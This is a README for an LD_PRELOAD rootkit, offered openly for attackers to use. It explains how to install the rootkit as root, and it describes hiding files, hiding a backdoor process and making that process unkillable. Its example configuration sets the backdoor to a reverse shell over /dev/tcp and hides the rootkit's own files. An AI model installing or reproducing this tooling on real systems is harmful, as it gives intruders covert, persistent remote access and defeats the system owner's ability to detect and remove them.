Cerez 😈 Simple userland LD_PRELOAD rootkit

Cerez is a configurable userland LD_PRELOAD rootkit, by installing it into /etc/ld.so.preload, you can preload it before every binary. It can protect/hide your backdoor as well other files you want hidden. It does so by overwriting (g)libc functions such as open, unlinkat etc.

Features

• ✔ Hides files in the file system
• ✔ Hides your backdoor in the process list
• ❌ Hides connections in the network list
• ✔ Makes your backdoor unkillable
• ✔ Makes files unaccessable

Install

Important

Don't forget to edit cerez.cfg after the installation

You will need to install build-essential and libconfig to compile!

You can install it with apt on debian based systems:

apt update && apt install build-essential libconfig-dev

You also may want to install git in order to obtain the source.

To compile the rootkit, run the following commands: as ROOT:

git clone https://github.com/ngn13/cerez.git && cd cerez
make && make install
cd .. && rm -rf cerez

These commands will compile and install the rootkit and the configuration to the system.

Config (/etc/cerez.cfg)

Configuration is (really) simple, there are only 3 options:

• backdoor: Your backdoor command, this will be run by the rootkit everytime a program starts (if its not already running). Your backdoor will be hidden in the process list. It will also be unkillable.
• shell: The shell that will be used to run the backdoor command.
• hidden: A list files that you want to hide and protect. These files will be hidden in directory listings and any attempt access them will fail, and a fake file will be accessed instead.

Here is an example configuration:

backdoor = "bash -i >& /dev/tcp/<ip>/1234 0>&1"
shell = "/bin/bash"
hidden = (
  { path = "/etc/cerez.cfg" },
  { path = "/etc/ld.so.preload" },
  { path = "/path/to/your/super/secret/file" }
)

Note that after hiding /etc/cerez.cfg you won't be able to access it unless you are running as the backdoor process.

Resources

To learn more about LD_PRELOAD rootkits, I highly recommend you read this article. I also left some comments in the loader.c so you can go ahead and read it.

Also this is free (as in freedom) software! So feel free to fork and improve the project. If you are interested, you can also contribute back to the project by creaint an issue or a pull request.